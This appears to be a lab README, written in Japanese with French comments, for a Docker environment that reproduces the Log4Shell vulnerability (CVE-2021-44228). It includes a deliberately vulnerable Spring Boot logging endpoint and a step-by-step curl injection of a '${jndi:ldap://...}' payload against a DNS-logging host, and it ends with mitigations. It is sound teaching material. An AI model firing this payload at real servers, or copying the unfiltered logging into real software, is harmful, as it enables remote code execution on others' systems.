🔓 Log4Shell 脆弱性 (CVE-2021-44228) のデモ

このプロジェクトは、Apache Log4j ライブラリに影響を及ぼす重大な脆弱性 Log4Shell (CVE-2021-44228) を再現・理解するための管理されたテスト環境です。

📁 プロジェクト構成

Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

🎯 目的

攻撃者が CVE-2021-44228 の脆弱性を悪用し、悪意のある文字列を送信するだけで、サーバーに許可されていない外部ネットワークへの発信接続を実行させることができることを実証します。

🔍 脆弱なコードの分析

1. 依存関係の管理 (pom.xml)

pom.xml ファイルは、セキュリティ修正前のバージョンである Log4j 2.14.1 の使用を強制します：

<log4j2.version>2.14.1</log4j2.version>

このバージョンには、デフォルトで有効化されている JndiLookup クラスが含まれており、これが問題の根本原因です。

2. Java アプリケーション (VulnerableApplication.java)

このアプリケーションは REST ウェブサービスを公開しています。脆弱性は index メソッドにあります：

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

問題: アプリケーションはユーザーパラメータ (input) を取得し、一切のフィルタリングを行うことなく直接 logger.info() に渡します。Log4j はその内容を潜在的なコマンドとして解釈します。

3. Docker インフラ (Dockerfile)

Dockerfile は 2 段階のビルドを使用します：

• ステップ 1: Maven によるコンパイル (maven:3.8.4-openjdk-11)
• ステップ 2: eclipse-temurin:11-jre による実行

💡 Java 11 の使用は適切です。新しいバージョンはデフォルトでリモートクラスのロードを制限するためです。

⚙️ 攻撃のメカニズム

この悪用は JNDI (Java Naming and Directory Interface) インジェクションに基づいています：

1. Log4j はログ内で ${jndi:protocole://url} という構文を検出します
2. 指定された URL への動的接続を試みます
3. 実際のシナリオでは、これにより悪意のある Java クラスをダウンロードして実行できます (RCE)

🧪 段階的な悪用手順

ステップ 1: 準備

以下のファイルが同じフォルダにあることを確認してください：

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

ステップ 2: Docker イメージのビルド

docker build -t vulnerable-app .

このコマンドは Maven の依存関係 (Log4j 2.14.1) をダウンロードし、イメージを作成します。

ステップ 3: コンテナの起動

docker run -p 8080:8080 --name demo-log4j vulnerable-app

アプリケーションはポート 8080 で待ち受けます。

ステップ 4: 確認用リスナー (Listener) の準備

1. DNS ロギングサービスにアクセスします：

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. 提供されたアドレスをコピーします (例: mon-test.dnslog.cn)

ステップ 5: ペイロードの注入

新しいターミナルで次のコマンドを実行します：

curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 注記: \ 文字は、ターミナル内で $ をエスケープするために使用されます。

ステップ 6: 確認

dnslog サイトに戻ると、DNS リクエストが表示され、サーバーが注入されたコードを実行したことが確認できます。

📊 期待される結果

🚨 結論

サーバーは、ユーザーのリクエストをログに記録しただけで、外部マシンへの発信接続を実行しました。

実際のシナリオでは、この接続により以下が可能になります：

• 悪意のある Java クラスをダウンロードする
• 任意のコードを実行する (RCE - Remote Code Execution)
• サーバーの完全な制御を掌握する

🛡️ 対策

この脆弱性を修正するには：

1. Log4j を更新する：バージョン 2.17.1 以上へ
2. JNDI ルックアップを無効にする：-Dlog4j2.formatMsgNoLookups=true
3. クラスパスから JndiLookup クラスを削除する

📚 参考情報

• CVE-2021-44228 - NVD
• Apache Log4j Security Vulnerabilities
• ANSSI - Log4Shell 脆弱性

📜 ライセンス

このプロジェクトは教育目的のみで提供されています。責任を持って倫理的に使用してください。